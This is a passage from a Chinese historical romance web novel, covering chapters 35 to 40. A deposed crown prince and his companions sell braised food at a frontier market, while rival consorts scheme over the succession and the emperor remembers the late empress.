“大皇子的母妃现在虽不受宠,但也是内阁大臣许阁老嫡女,陛下迟迟未立新太子,恐怕就在大皇子与五皇子之间权衡。”
陆卿尘翻了一页手中的书,淡淡地说:“不急,宫里暂时出不了什么大事,等青龙、白首消息即可。”
主仆二人话音刚落,锦婳又风风火火地推门而入,声音谄媚又讨好:“明日你二人随我去市集可好?我刚刚去找了张洛和王里,他们俩明日也要上山砍树,说朝廷的俸银几个月没发,吃喝都要自己想办法,没法随我去市集。”
谢威有些惊讶:“你让主子和我随你去卖卤货?!”
锦婳笑嘻嘻地点头:“我刚和隔壁林嫂子借了杆秤,我计划着,明日公子帮我收钱,哥帮我吆喝,我来秤卤货。”
谢威和陆卿尘不语,皆翻了白眼。
锦婳盼着明日卤货大卖,做梦都笑出了声,陆卿尘睡在身侧,只在心里笑她财迷,觉得这丫头很是可爱,一夜好眠。
第二日一早,三人驾着马车,早早出发了。
三人到了市集,锦婳找了一处空地安顿下来,旁边的摊位是卖包子的,三人没吃早饭,锦婳嘴甜,大哥大嫂叫得亲切,朝人家买了三个肉包子,还送了些素菜给隔壁卖包子摊位的大哥大嫂。
包子摊儿的大哥大嫂也是实在人,答应锦婳每日帮她占着摊位,还直夸锦婳的卤货好吃。
摆好卤货,在第一步就卡住了,谢威不会叫卖。
谢威以前在战场上,喊的都是“杀啊!”、“冲啊!”。
威严又霸气,让他喊“卖卤货喽!”简直就是要他的命一般。
锦婳逼他喊,他红着脸摆摆手:“你喊吧,我喊不来……”
第一卷 第35章 许妃
锦婳白了谢威一眼,清了清嗓子:“卖……卖卤货……卖卤货喽!”
锦婳声音多了些胆怯,不大大方方,怕有人听见,又怕没人听见,又担心自己出丑。
旁边摊子卖包子的胖嫂子笑道:“你这么点小声音,谁能听得见。”
谢威也跟着教锦婳:“你不能掐着嗓子喊,得用丹田发力。”
锦婳道:“你喊一声,我学一学。”
谢威也清了清嗓子,喊道:“卖!卤货!喽!”
声音是挺大,抑扬顿挫,可笑坏了隔壁的胖嫂子。
“哈哈哈!你这跟喊口号似的!”胖嫂子忍不住大笑。
谢威红了脸,又恼又羞。
锦婳虽没听过将军喊口号,但今日也知道了,大致就是这么个调调。
锦婳跟着胖嫂子一起,掐着腰,笑得直不起来。
陆卿尘拄着拐杖,站在马车旁看着热闹,阳光明媚,三两好友相伴,他还是第一次体会世间有如此温情。
锦婳也不再喊了,有路过的就笑着问上一句:“买熟食吗?”
谢威站在陆卿尘身侧,一起靠着马车晒太阳。
“殿下,你说锦婳这么卖能卖出去吗?”
陆卿尘看着锦婳,双眼含笑:“她爱折腾便折腾吧,打发时间而已。”
谢威算着时间:“青龙、白首还没有消息,只是苦了殿下,这苦日子究竟什么时候是个头啊!”
陆卿尘眯着眼:“青龙、白首现在出现还不是时候,那两名官差不知是否真的投诚还不知,还需等!”
京城卖熟食的倒是不少,只是北境还没有,能做出锦婳这股味道的更是少之又少。
有人去旁边的摊子买包子,胖嫂子就帮着推荐锦婳的熟食,
锦婳也是嘴甜,哥哥、姐姐地叫着,集市上的人觉着锦婳卖的熟食新鲜,往常没见过,都过来围观。
有人好奇:“这什么味儿的,能不能尝尝!”
锦婳大方,每样都切了点,围着的人都跟着品尝。
尝了的人都觉得好吃,几乎都买了点,没买的锦婳也不生气,想着来日方长,只要自己做得好吃,总会买的。
陆卿尘的任务是收铜板,他在锦婳身侧,低声说:“不必紧张,不过是卖卤货而已。”
锦婳听了,心里更是踏实,笑着说:“知道啦!”
锦婳只要能赚钱心里就踏实、高兴。也不管是大钱小钱,苦日子里摸爬滚打过来的人,如今也做上了小买卖,打心眼里觉得满足。
锦婳的卤货卖到市集上的摊位几乎都收摊儿了,最后就只剩下些豆角、猪血。
锦婳打包了一些送给隔壁摊子卖包子的胖大哥、胖大嫂,今天多亏了胖嫂子帮着推荐,不然卤货剩下的更多。
胖大嫂乐得晚上不用烧菜了,剩下的素包子给锦婳包了些,三人也是累了一天,锦婳打算晚上热些素包子,配着剩下的卤货凑合吃饱肚子,晚上还有做明日要卖的卤货。
锦婳三人收了摊,赶车去猪肉摊子收下货,路上又在菜农手里买了些青菜,赶着车回了家。
晚上锦婳在小厨房做卤货的功夫,张洛和王里敲门求见陆卿尘。
张洛低声说:“殿下,近日小人要给京城传信,汇报殿下近日的情况,这信函该如何写,还请殿下明示。”
陆卿尘喝了口热茶,锦婳今日赚了钱,心里高兴,给陆卿尘和谢威抓了点宫里带出来的茶叶,泡了一壶热茶。
“如实写便是,只说如今吾住着拐杖,叫卖着卤货,无需多言。”
“这……”张洛犹豫。
谢威道:“按殿下吩咐行事便是。”
张洛和王里领命后退出了陆卿尘的屋子。
几日后,交鸾殿。
丽妃的大丫鬟读着北境的来信,丽妃懒洋洋地躺在贵妃榻上吃着水晶梨膏。
信读完,大丫鬟悄悄在丽妃耳边说:“娘娘,您真不打算趁热打铁,要了那前太子的命?”
丽妃却颇为自信地懒懒开口:“要他的命还不至于本宫亲自动手,想要他命的人多的是,那大皇子必定比本宫着急。本宫何不坐山观虎斗,坐收渔翁之利。”
大丫鬟点头称是:“娘娘英明,那皇后娘娘短命,就不是个有福的。大皇子的生母许妃,虽和娘娘您同在妃位,却不得陛下宠幸。这宫里论在陛下心中的地位,唯有娘娘您圣宠不衰。”
丽妃听了大丫鬟的话,心里舒坦得很,就让那大皇子和前太子先互相斗吧,太子之位早晚是她的炫儿的,凡是挡他们母子路的人,都必须死!”
然而,晚上。
丽妃的交鸾殿早已经摆好了晚膳,却迟迟不见皇上来。
丽妃坐在桌上没好气地催促道:“陛下到哪了,快去看看!”
大丫鬟安慰道:“娘娘莫急,陛下定是朝政繁忙,陛下心里最疼您了,等忙完了,就来了。”
不一会儿,小太监急匆匆地跑进来,“噗通”一声跪在地上。
“娘娘!陛下他……去了许妃娘娘那里用晚膳!”
丽妃不敢置信地拍着桌子站了起来!
“什么?!陛下去了许妃那个老女人那里?!”
陛下已经几年都不曾去许妃宫里了,许妃人老珠黄,陛下去那里做什么?
小太监吓得直哆嗦,颤颤巍巍地发着抖说:“禀娘娘,是真的,陛下身边的杜公公差人来传的话,让娘娘别等了,陛下今夜就宿在许妃娘娘宫里了。”
丽妃一个没扶稳,坐了下来。
虽然知道这后宫佳丽三千,陛下不可能独宠她一人,但听见陛下去了许妃宫里,她心里还是不舒坦。
丽妃尽力让自己平静下来,这宫里眼线众多,她不能因为陛下去了许妃宫里这点小事就自乱阵脚,让人看了笑话。
大丫鬟小心翼翼地劝说道:“娘娘别气,奴婢听说许妃的父亲许阁老在南方治水有功,陛下今夜去许妃那里,或许是因为许阁老吧,彰显皇恩浩荡。”
丽妃有些疑惑的皱眉。
“锦萍,为何本宫觉得,是有人在暗中帮着许妃和大皇子母子二人。”
大丫鬟劝慰道:“娘娘您思虑太重了,谁会有那么大的本事。”
第一卷 第36章 争宠
丽妃又疑惑了,是啊,谁有那么大本事,为何不为自己谋划,而是为许妃做嫁衣?
“阿嚏!阿嚏!”坐在炕上看书的陆卿尘连着打了两个喷嚏。
谢威忙关心地问:“殿下今日可是冷到了?”
陆卿尘摆手:“吾无碍。”
谢威转头对锦婳说:“锦婳,快去给殿下沏壶热茶来。”
锦婳瞥了炕上那两人一眼,可真够呛!真把自己当大姑娘养了,两人回家只要上了炕,除了如厕都不带下来的!
凡是炕下的活,全都指使她去做!谁不知道炕上暖和?锦婳白了一眼炕上的两人,下炕穿鞋说:“我们百姓之间有种说法,连着打两个喷嚏是有人骂你。”
谢威听了忙说道:“锦婳!你一日不气主子就活不了是吧?!”
锦婳不理会这两人,心里暗爽,去厨房沏茶了。
今夜,皇宫里最高兴的人,莫过于许妃了。
陛下已经有好几年没有来过她的交泰殿了。
谁让自己的父亲和儿子争气,尊贵如陛下都得给上几分薄面。
虽说许妃已经年近四十,但生得柔弱,娇美。
许妃吩咐丫鬟伺候她穿上刚入宫时陛下最喜欢她穿的粉色衣裙。
那时陛下经常宿在她的交泰殿,与她日夜缠绵。
陛下说,她穿上粉色衣裙,衬得肌肤胜雪,让他欲罢不能。
也是那一年,许妃诞下了皇长子,陆卿珏。
珏,玉也。
那可是最珍贵的东西,陛下赐此名,许妃曾一度以为,陛下会立他们的孩子为太子。
可不过一年时间,内阁大臣李大学士嫡女李清柔入宫,册封为后。
自那日起,陛下的恩宠全给了皇皇后一人。
许妃闲时曾听宫人们窃窃私语过:“陛下极宠爱皇后娘娘,处理完政事便去凤坤宫陪着娘娘作诗、画画。”
又过了一年,皇后诞下长子陆卿尘,三日后册封为太子。
许妃恨啊!恨得夜不能寐!
是她诞下了皇长子珏儿啊!她和陛下也曾有过恩爱缠绵的时刻啊!
本该属于她的皇后之位,就这样被她人一朝夺去!
本该属于珏儿的太子之位,也另属他人!
就连本该属于陛下对她们母子的偏爱,都被人夺走了!
无数个夜里,许妃抱着软软糯糯的珏儿,低声抽泣:“珏儿,是母妃对不起你,是母妃无能,害你的太子之位被别人抢走了!”
那时,小小的陆卿珏,伸出胖乎乎的小手为她擦眼泪:“母妃不哭,等珏儿长大了,都会夺回来。”
如今,珏儿离太子之位只有一步之遥,她不能再像当年那般的软弱无能,给她人可乘之机,让珏儿再次与太子之位失之交臂。
丽妃,她根本没有放在眼里。只要见过当年皇后入宫时的圣宠,便会知晓,陛下对丽妃并非真心。
那个五皇子陆卿炫更是不足为惧,活活的纨绔子弟作风,还未成年就与宫女太监们厮混,早就伤了根本。
如今又纳了前太子的太子妃为妾,表面上是辱了前太子,可宫里谁人不背后说他捡别人的破鞋穿。
皇室最重血脉,陛下又怎会把皇位传给一个无后的皇子。
丽妃不过是小县官家的庶女,家世差得很,自己还要补贴给娘家,力是一点借不上。
听说丽妃的兄弟也是极不成器的,这些年给丽妃惹了不少麻烦,都是丽妃拿着钱财平了事。
丽妃母子不过是秋后的蚂蚱,蹦哒不了几天了。
“陛下驾到!”小太监一声呼喊打破了许妃的思绪。
许妃忙整理衣裙,跪地接驾。
皇帝入交泰殿,许妃衣着单薄,跪在廊下接驾。
皇帝走近身侧时,许妃媚眼如丝,轻轻抬眸看着皇上。
可皇上却径直入了内,目光没在她身上停留过一刻。
初入宫那年,许妃也是这样跪在廊下等着接驾。
陛下见她穿着单薄,心疼不已。
将她一把拉进怀里,抱入交泰殿,用自己的身体帮她取暖。
终是不同了……
许妃由宫女搀扶着站起来,转身进内殿,皇帝已经坐在了餐桌前。
许妃咬了咬唇,他肯来就好,这交泰殿他已经许久不曾来了,早就没有他的气息了。
许妃也由宫女扶着坐在了餐桌边,她已经许久不曾伴驾,不敢贴在皇帝身侧,只能紧张地坐在皇帝对面。
“陛下,您尝尝这道珍珠丸子羹,臣妾记得您爱吃,亲手做的呢。”
皇帝并未做声,也未伸手去盛那道珍珠丸子羹。
“陛下,这道卤牛心、牛肝您尝尝,最是养心明目。”
皇帝抬眼看了许妃一眼,并未动菜。
“许妃,食不言、寝不语。”
许妃咬唇低头:“陛下恕罪,臣妾只是许久未见陛下,太高兴了,一时乱了分寸。”
许妃用膳时话太多,别说皇帝了,就连旁边站着伺候的老太监斗觉得她有些呱噪。
要知道,皇帝是喜静的性子,最讨厌啰嗦。
当年陛下与皇后娘娘雪后下棋,一下就是一夜,两人皆是不发一言,眼中却都是郎情妾意的浪漫。
就说如圣眷正浓的丽妃娘娘,在伺候陛下用膳时,都很少多言。
饭后,皇帝在许妃这小坐用茶。
许妃小心谨慎地站在身侧伺候着,皇帝瞥了她一眼道:“粉色娇嫩,你如今都多大年纪了,以后别再穿了,如今宝石湖蓝更衬你的身份。”
许妃衣袖里的拳头紧攥,再松开,委屈地说道:“陛下……这是嫌臣妾老了……”
皇帝喝了口茶,并未理会许妃的委屈:“朕也老了,珏儿如今都娶妻生子了。”
提到陆卿珏,许妃来了精神,她凑上前一步:“陛下,珏儿最近很是用功,骑马射箭也很长进,臣妾常督促他,身为长子要为父皇分忧。”
皇帝放下茶盏,看着许妃,继而道:“你父亲在南方治水有功,珏儿在朝中又让朕很是得力,你功不可没。”
许妃听了这话,满脸掩不住的笑意,娇媚地喊了一声:“皇上……”
许妃刚一开口,皇帝便沉声道:“摆驾勤政殿。”
许妃还没反应过来,皇帝已经站起身:“朕还有奏折没批,改日再来你这坐。”
许妃愣了,陛下这就走了?她还以为她要侍寝了……
第一卷 第37章 暗地
许妃反应过来,跟在皇帝身后追了两步:“陛下!您这就走了?”
一旁伺候皇帝的老太监都忍不住皱了眉。
陛下最不喜纠缠,这许妃娘娘当真是一点眼力见都没有啊,怪不得陛下几年都不来看她一回。
今日陛下肯来和她一起用膳,还不是看她父亲在南方治水有功,大皇子在朝中又得力,不然,这交泰殿,陛下是一刻也不想待的。
皇帝走后,许妃却还沉浸在皇帝驾临的喜悦之中。
冷静下来,许妃坐在软塌上喝茶,想起父亲的来信上说,南方治水本以为会艰难险阻,没想到却异常顺利,总感觉有人在背地里悄悄帮他。
许妃皱眉想,也许是父亲太过劳累,多思多忧了,有谁会在背地里帮她呢?
“阿嚏!阿嚏!”陆卿尘在炕上喝着锦婳泡的热茶,又接连打了两个喷嚏。
谢威看了担心:“殿下,您这怕是着了风寒,这离县也不知有没有郎中,明日一早属下去找来给您瞧瞧。”
陆卿尘摆手,接着喝了口热茶:“吾无碍,许是今日市集上的风凉了些,喝点热茶就好了。”
锦婳在地上收拾着明日要卖的卤货,今日她又卤了些豆干,晚饭时陆卿尘难得夸赞,说这豆干卤得竟比肉好吃。
听了主仆二人的对话,锦婳默默在心里翻了个白眼。
三个人里,干活最多的是她,吃得最少的是她,穿得最单薄的是她,那两个养尊处优,大门不出,二门不迈,像大姑娘的人反倒着了风寒,去哪儿能说说理!
早上,锦婳早早起床烧水做饭,煮的是隔壁林嫂子给的大黄米煮的饭,熟了的黄米饭金黄粘糊糊的,锦婳用铲子铲出来,放在油锅里煎出两面硬硬的脆皮。
林嫂子说,撒上白糖,好吃极了。
锦婳又把隔壁张大爷给的酥油茶沏了水,凝固后香甜的味道飘满了小屋。
三人热热乎乎地吃了一顿早饭,赶着车去集上售卖卤货。
路上,谢威赶车,锦婳给陆卿尘带了一床薄被,陆卿尘昨夜有些咳嗽没睡好,马车颠簸的他有些迷迷糊糊的。
锦婳把被子盖在他身上,见他睁开眼看了看自己,然后又闭上。
锦婳小声说:“你先睡吧,到了我叫你。”
昨天夜里的确有些冷,家里的被褥又不够厚实,陆卿尘自打生下来就养尊处优,哪里受过这样的罪,这日子像锦婳这样苦日子里过来的人自然觉得也没什么,于陆卿尘来说,就是苦难。
陆卿尘许是睡着了,睫毛微微颤动了几下,锦婳心中心疼了这个大美男三秒。
今天锦婳的卤货在集市上卖得很快,三人下午就收了摊。
秋日里虽然出了太阳,可北风却不小,三人站了一上午,都冻得打冷颤。
锦婳这几日赚的钱,买了猪皮、猪下货、豆腐、豆干、大棒骨,还剩下五两,买三人的棉衣应该是够了。
成衣铺的衣服样式都差不多,锦婳捡了三件老款式,布料差一些的最便宜的,同老板讨价还价,三人的冬衣冬裤,每人一两,花了三两。
剩下的二两,锦婳也囤了冬菜,萝卜、白菜先各来二百斤,申家兄弟和张洛、王里偶尔还要来吃饭,家里人口多,要多备一些,冬日里北方天寒地冻,颗粒无收,粮食短缺,再买就贵了。
还有一些余钱,锦婳给陆卿尘买了些笔墨纸砚,陆卿尘亲自挑了几本书。
三人穿着棉衣,坐着马车暖暖和和地回了家,谢威卸了车上的冬菜,学着隔壁林嫂子,整齐地码放在床沿下晒太阳。
锦婳又研究了几个新菜式,卤猪皮,青冻,酱棒骨。
猪皮去毛,在热水里熬煮,熬得软烂,再捞出来放在棒骨的卤汤里一起卤煮。
煮猪皮的高汤放在屋子外冷却,凝固成青冻,泡在卤煮汤汁里,竟也能吃出香浓的肉味儿。
今日集市上买到了干豆腐,锦婳切成了丝,用高汤煮了煮,又放了些干辣椒,临出锅时撒上一把葱花,一盆香香辣辣的老汤干豆腐就煮好了。
晚饭锦婳煮的糙米饭,陆卿尘不吃猪血、下货那些东西,猪棒骨也是不好啃,没有多少肉,三人就着老汤干豆腐和青冻饱饱地吃了一顿。
晚上锦婳收拾完碗筷,将明天要卖的东西装在马车上,在小院里洗漱后才进了屋。
马上入冬了,在小院里洗漱已经觉得有些冷了,屋子里还有两个大姑娘一般,大门不出,二门不迈的男人,洗漱更是不方便。
卤货生意虽然不错,但是也只够三人生活的,偶尔还要接济申家兄弟和张洛王里几人。若是想盖间自己的房子,日后再开个酒楼,是远远不够的。
锦婳心里琢磨着,还得再寻新的营生才行。
锦婳进屋时,谢威已经躺在炕上闭着眼睛,不知道是睡着了还是眯着养神。
卖卤货这些天,体力活、赶车全靠谢威,今天又搬了几百斤的白菜萝卜,想来他是累坏了。
锦婳刚才进屋时,看见窗台下,冬菜码放得整整齐齐,想来做事如此认真的谢威,之前做将军统率千军万马时,也必定是个常胜将军。
陆卿尘倒是没睡,坐在炕桌前,桌上铺着宣纸,照着一本书,好像在临摹一幅山水画。
锦婳脱鞋上炕,刚想铺床进被窝儿暖和暖和,陆卿尘抬眼看了她一眼,轻声开口说:“可会画画?”
锦婳一愣,眨了眨眼:“不会。”
陆卿尘没再看她,而是继续临摹,半晌道:“那为何名字里有个婳字?”
锦婳想想,自己倒是从未与这两位谈起过家事,他们这些大人太子的对自己这个小丫鬟的家事也未必感兴趣,便含糊说道:“我娘是绣娘,画了一手的好图样,所以就给我起名叫锦婳了。”
陆卿尘停笔,抬眼看她,眼睛明亮诚意:“那你可想学画画?”
锦婳倒是想学,可她怕陆卿尘嫌她愚笨,再说,自己多大的胆子,敢让前太子教自己画画。
第一卷 第38章 学字
锦婳低头看了看自己的手,粗糙得很,满是冻疮,想来画画的手也不是长这样的。
便摇摇头:“我还是不学了,怕学不会。”
陆卿尘瞥了眼锦婳:“那便学别的,可认识字?”
锦婳摇摇头。
陆卿尘道:“过来,从简单的字开始学起,若是真的学不会,再说。”
锦婳弄不懂陆卿尘是什么意思了,今天怎么突然想教她了?
她缓缓往陆卿尘身边挪了挪,眨巴着大眼睛看着他。
他的意思说,她学会,学不会都行?是这个意思吧?
陆卿尘似乎看出锦婳走神儿,修长白皙的手指在小炕桌上轻轻敲了敲:“看好了,吾只教一次,这个字,一撇一捺,是人。”
锦婳认真地学着,点头道:“记得了!”
陆卿尘又在人字上加了一笔:“这样加了一横,是大。”
锦婳乖巧点头:“记得了!”
陆卿尘又在大字上加了一笔:“大字加一横,是天。”
锦婳点头。
陆卿尘今日教的这几个字,都是最简单的,锦婳又不是刚启蒙的小孩子,虽然之前没学过,但也认得了。
陆卿尘已经不记得自己幼时识字启蒙是如何开始学的,也不知该如何教锦婳,只是觉得不能像小时写错时师傅打手板,无论是教他读书的师傅,还是教他练武的师傅,对他都是最严厉的。
对锦婳倒是不用那么严厉,反正现在有的是时间,慢慢教她一些字,倒是不用学得多好,起码认识一些字便可。
陆卿尘把手里的笔蘸了墨,递给锦婳:“把刚才学的这几个字,写给吾看。”
锦婳第一次拿笔,小手攥拳握着笔,看着有些窘迫。
陆卿尘起身跪在锦婳身后,高大的身影将她圈在炕桌里,一只手握住锦婳拿笔的手,开始写人字。
锦婳并未察觉到陆卿尘的举动有什么不对,还沉浸在学写字的喜悦中。
一边写一边清清浅浅地说:“人,一撇一捺,念人。”
陆卿尘扶着锦婳的手,在纸上反复地写着人字,心中竟觉得痒痒暖暖的,有一种岁月静好的感觉。
谢威躺在炕上打盹儿,觉得两人的动静有些不对,眯缝着眼睛偷偷看向两人,殿下这是……教锦婳写字呢?!
只是这两人的姿势……
这般的靠近,是否太过暧昧了些……
难不成,主子对锦婳……起了心思?
谢威不敢出声音,闭起眼睛继续装睡。
锦婳写了几个人字,陆卿尘见她似乎会握笔了,便松开了手,窜到后边看书去了。
锦婳自己照着之前陆卿尘写的字的样子,把人、大、天,分别都写了几遍。
陆卿尘抬头瞥了一眼,嗯……还不错。
便随意开口问:“幼时为何没学识字?”
这早已不是锦婳的伤口,说说也无妨,锦婳如今也能淡然地说出了:“小时娘亲死得早,还有个弟弟要养活,家里没钱供我读书识字。”
陆卿尘拿在手里的书不易被人察觉地抖动一下:“你的娘亲……”
锦婳没有抬头,手里的笔也没有停,陆卿尘看不到她的眼神和表情。
过了一会儿,锦婳开口,语气与平时并无差别:“在我七岁那年病死了,父亲娶了继母,继母还带来了继姐,从此饭桌上再没有我们姐弟的位置了。”
“靠要饭活到了八岁,被爹爹和继母哄骗着卖进了宫,一直到现在。”
锦婳说得淡然,仿佛说的是别人家的事,可陆卿尘怎会不懂,一个孩子,若是幼时没有了娘亲,往后的人生皆是坎途。
锦婳见后面的人没了动静,许久后,听见了翻书声。
锦婳想起青冻还放在外面,现在夜里冷,怕冻上了,急忙起身下炕,去把青冻拿进厨房。
陆卿尘见锦婳又去厨房里忙活,便掏出了衣袖地里的密信。
是青龙、白首,两位师兄白日里的飞鸽传书。
信写得简洁,应是怕被拦截,露了行踪。
信上写,江南水患已除,许阁老不日回京领功,如今宫内两股势力抗衡,陛下忧思。
陆卿尘皱眉,陛下忧思,是在权衡不知立大皇子还是五皇子为新太子?
皇宫,勤政殿。
皇帝伏在案上批阅着奏折,一旁的老太监轻声提醒道:“陛下,夜深了,该歇息了,今夜陛下可要宿在交鸾殿?”
皇帝摇了摇头,摆手示意老太监退下,自己则将头向后靠在龙椅上,闭目养神,眉目紧锁。
太子……如今不知如今如何了,身子上的伤可痊愈了。
自打一气之下废了太子后,大皇子和五皇子对太子之位的觊觎之色,都懒得隐藏了。
丽妃和许妃更是在后宫里明争暗斗,唇枪舌剑,不时就要梨花带雨地跑来自己这里告一状,搞得自己头疼得很。
想当年皇后在世时,温柔贤德,后宫管理得井井有条,太子勤学尊长,父慈子孝。
皇后走时,拉着他的手,眼睛里都是不舍,她满眼含泪,求他善待她的孩子,看他终于点头,皇后才肯放心地咽下最后一口气,他是不是食言了……
那年春日里,桃花漫天,皇后便是在那样一个风和日丽的午后,入了宫。
初见皇后,一见倾心。
若是说对早一年入宫的许妃有一些喜欢,那对皇后,便是浓浓的爱意。
皇后出入宫那一年,他冷落后宫佳丽,只独宠皇后一人,
他与她看雪、看月亮、围炉下棋,作诗吟唱。
他几乎做了所有一个皇帝不该做的事。
一年后,他们的孩子出生,在她孕育他们的孩子时,他曾多次去五台山祈福,他身为一朝天子,跪在菩萨面前,祈求上天怜悯,保佑皇后顺利产子。
上天保佑,皇后顺利产下的是个男婴!他爱屋及乌,孩子出生三日便册立了太子,满朝哗然。
他还记得,那几日的奏章满天飞,皆是认为太子年幼,可再考量,皇位传贤不传嫡。他一概不理会,还处置了几个带头的文官,他容不得任何人对他们的孩子有一丝的质疑!
见他圣旨已下,意志坚决,朝臣们倒也不了了之了。
第一卷 第39章 往事
太子天资聪慧,又勤学好问。
他为太子找了最博学的大学士做启蒙恩师,太子三岁启蒙,五岁熟读四书五经,他对他们的儿子寄予厚望。
太子能文能武,又善骑射,七岁百步穿杨,百发百中。
那日他兴冲冲地跑到皇后的凤坤宫,特意去告诉她,他为他们的孩子寻了一位大将军做师傅,教授他武功。
开始皇后很是高兴,后来他说出了那位将军的名讳是赵猛后,皇后的面色上透露出一丝丝的不易察觉的迟疑。
自古帝王多疑,日日夜夜躺在自己枕边的人,她有何心思自己又怎会不知。
他调动东厂暗卫,暗暗调查皇后与赵猛大将军。
当暗卫深夜跪在勤政殿的大殿之下,对他汇报,原来皇后曾与赵猛将军定过亲,那日入宫赏花后,是被他强行留宫立后,他以为的两情相悦,原来从来都是他一个人的一厢情愿。
自那日后,他留在勤政殿的时间多了起来,也极少入后宫,可对太子却依旧注入心血,苦心栽培。
皇后还如往常一般,她关爱后宫里的所有嫔妃、皇子,并不因为他很少入风坤宫而有一丝一毫的情绪。
三年后,选秀女,丽妃入宫。
丽妃是一个七品县承家的女儿,但天生一副媚眼如丝的模样,选秀那日,皇后在见到丽妃容颜时,明显面色凝重,身躯微微一颤。
他心中暗喜,原来皇后也会因他有其他女子而心中难受。
他当即便问皇后:“这名女子可否留用,皇后意下如何?”
他心中期待,期待她说不留用,他期待她心中有他,唯恐他被其他女子抢走。
可她还是那般温柔又冰冷地说出:“全凭陛下做主,臣妾无异议。”
从那刻起,他一颗炙热狂跳的心脏,骤然冰冷,再没因为情爱跳动过。
当日,他封了丽妃为丽嫔,无限荣宠,满宫哗然,还从未有女子入宫便是嫔位!
丽嫔入宫后,三千佳丽黯然失色。他独宠丽嫔,夜夜宿在交鸾殿。
一日批阅完奏折,他竟鬼使神差地走到了凤坤宫,已是深夜,老太监刚要通传,被他拦下来。
这个时辰,她宫内的烛火竟然还亮着,他悄声走到廊檐下,他想若是她因为思念他而落泪,哪怕是难过深思,他都会义无反顾地冲进去,抱紧她,第二日就遣散所有后宫嫔妃!
堂堂一国之君的他像小偷一样在窗户缝隙朝内看,那一幕,让他的心痛上加痛。
皇后半躺在贵妃椅上,太子正在给她表演今日学到的功夫,皇后满脸慈爱的笑意,不时起身给太子擦着额头上的汗,满脸的欣慰和疼爱。
他们母子没有他,过得依然幸福,他在她心里什么都不是!
他在日日夜夜因思念她而假意宠幸别的女人时,她丝毫不为所动!
他心如止水,不再关注她的一举一动。
次年,丽嫔生下五皇子,赐名炫。
同年,后宫之中不知何人传出,太子与赵猛将军长得竟有几分像父子。
他勃然大怒!诏皇后与太子觐见!
皇后与太子跪在勤政殿下,此时大殿之内只有他们三人。
他站起身,下了大殿,步步逼近太子,他要好好看看清楚,这个自己最最疼爱的嫡子,一出生便寄予厚望,遍寻名师教授,自己亲自督促教养的孩子,面像为何会像那个赵猛!
她仿佛受惊的小鹿一般,恐惧地看着他步步逼近,一把把她的孩子护在了怀里。
她跪在地上抬头看他的眼神里,除了惊恐……竟还有……杀意……
此刻她不用言语,只用眼神便能让他明白,今日他若是敢动她的孩子,她会与他同归于尽。
入宫多年,他在她脸上,第一次看见这样的神色,是因为她和赵猛的孩子。
他不需要问她一个字,便已经从她的眼神中知道了答案……
那日皇后回了凤坤宫,便病倒了。
一连半月不见好转,他叫来了给她医治的太医们询问,皆说是偶感风寒。
他大怒,怒斥太医,若是医不好她,全部都要给她陪葬!
这一刻,他突然明白,他已爱她入骨,若是她能好起来,他甚至可以接受她和别人的孩子,陆卿尘……可以还是太子……
他也是叫了他好几年父皇,在他怀里长大的孩子……
正当他勃然大怒,要杀了无用的太医时,丽嫔翩翩而来。
跪地请求准许她为皇后娘娘侍疾,以报皇后娘娘当年准她入宫伴驾之恩。
丽嫔心细,人又温顺,有她照顾皇后也好。
丽嫔衣不解带,伺候了皇后半月有余,人都憔悴了一圈。
一日,凤坤宫的小太监惊慌失措,慌忙来报,说皇后不好,还吐了血!
他抛下御书房内正在议政的大臣们,撒腿就往风坤宫跑。
他冲进她的寝殿,她就那样静静的躺在那,呼吸都微弱得让他感觉不到。
听见他的脚步声,她仿佛用了所有的力气,转头朝他看。
他再也顾不得那所谓的面子和见不得人的小心思,快步冲到她床边,紧紧攥着她瘦得只剩皮包骨的手。
来不及了!再晚就真的来不及了!她奄奄一息,躺在那浅浅的笑着看着他,就如他第一次见到她那般。
半晌,看他落泪,她幽幽开了口:“别哭,我不怪你。”
他泪流了一脸,也顾不得擦,抽噎着说:“别走,求你!朕求你!”
她被他握着的那只手,竟回握了他。
“陛下……臣妾要走了,尘儿……往后没有娘亲……只有爹爹了。臣妾只求您往后善待尘儿。无论您信不信臣妾……尘儿……他都是您的亲生儿子……”
说完这些,皇后仿佛用尽了所有的力气,回握他的手也缓缓地松了下来,眼睛缓缓闭上,喘着粗气。
半个时辰后,皇后崩逝。
他朝皇后寝殿的帘子外看去,太子跪在外殿,看他的眼神,漠然。
举国同哀。
他思索月余,才终于赐下封号,明仁贤皇后。
嗯,他满意地点了点头,唯有这几个字,方配得上她。
第一卷 第40章 父子之情
卿尘这孩子,如他的名字一般,皇权、富贵、地位在他眼里真的就如尘埃一样。
他养大的孩子,是什么品性,他再清楚不过。
那孩子,至真、至诚。
他为数不多的几个子女里,只有陆卿尘的名字不是他亲自取的,卿尘,这个名字,是他的母后送给他最珍贵的礼物。
零落成泥碾作尘,只有香如故。
他们的儿子,性情的确如名字一般高洁。
自从皇后仙逝,卿尘这孩子原本和善从容的性情也跟着变了,他仿佛把自己的心封闭在了一个壳里,他这个做父皇的进不去,他自己也不想出来。
不过,幸好,他身边始终有挚友相伴,青龙、白首、谢威。
这几个生死相随的挚友,让他落寞时显得不是那么孤单。
因皇后的仙逝,卿尘与他父子离心。他这个父皇,靠他太近也不好,离他太远也不是,经常两难,也唯有偷偷关怀着他。
他为他选了家事最好的太子妃,是佟家的嫡女,佟家可是大乾的三朝元老,那姑娘他细细查过,自小被养在闺中,琴棋书画无一不精,配得上他的卿尘。
卿尘大婚那日,是自打皇后仙逝后,他最高兴的一天。
那夜,他一夜无眠,在凤坤宫守着皇后的排位,同她聊了一个晚上。
他为他们的卿尘,寻了世间最好的女子为妻,不知是否对得起她临终的托付了。
可那日早朝。
还是北境的边境问题,蛮夷长年累月的骚扰边境百姓让他头痛欲裂。
赵猛将军的态度坚决,势必要与蛮夷一决生死!
可文官们考虑得更多一些,南方水患未治,西北又受蝗灾困扰,百姓们食不果腹,朝廷的钱拿来赈灾都不够,国库里哪来的银钱去打仗!
自打卿尘成年,他便有心锻炼他、辅佐他将来成为一位英明仁爱的君主。
卿尘也一直认认真真地学着批阅奏章,学习大乾的政事。
他该知道,战争一触即发容易,苦的是边境的百姓。
战争,劳民伤财,百姓流离失所。
那日朝堂上,文官武将争执得热火朝天,却也没个结果。
他看向陆卿尘,想知道这个他一手培养出的太子,有何高见。
“太子有何意见?”
陆卿尘眼神依旧漠然,向前一步,躬身颔首道:“儿臣,赞同赵大将军所言,蛮夷必除!”
他看到赵猛眼里闪现的皆是得意,他这个高徒一直与他同一战线。
帝王大怒!
